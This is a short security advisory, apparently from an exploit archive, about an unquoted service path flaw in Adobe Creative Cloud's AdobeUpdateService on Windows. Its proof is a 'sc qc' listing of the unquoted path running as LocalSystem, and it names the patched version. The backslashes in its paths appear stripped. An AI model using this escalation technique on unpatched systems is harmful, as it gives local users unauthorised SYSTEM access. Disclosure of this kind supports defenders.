---------------------------------------------------------------------------------------------------------- # Exploit Title: AdobeUpdateService - Privilege Escalation Unquoted Service Path vulnerability # Date: 18/05/2016 # Exploit Author : Cyril Vallicari # Vendor Homepage: http://www.adobe.com/fr/ # Software Link: http://www.adobe.com/downloads.html # Version: 3.6.0.248 # Tested on: Windows 7 x64 SP1 (but it should works on all windows version) The application suffers from an unquoted search path issue impacting the service 'AdobeUpdateService' for Windows deployed as part of Adobe Creative Cloud This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges on the system. POC : C:UsersUtilisateur>sc qc AdobeUpdateService [SC] QueryServiceConfig réussite(s) SERVICE_NAME: AdobeUpdateService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:Program Files (x86)Common FilesAdobeAdobe Desktop CommonElevationManagerAdobeUpdateService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : AdobeUpdateService DEPENDENCIES : SERVICE_START_NAME : LocalSystem Video POC : https://www.youtube.com/watch?v=RyzYkd05xM4 Patch : Fixed in version 3.7.0.271 Additional notes : https://helpx.adobe.com/security/products/creative-cloud/apsb16-21.html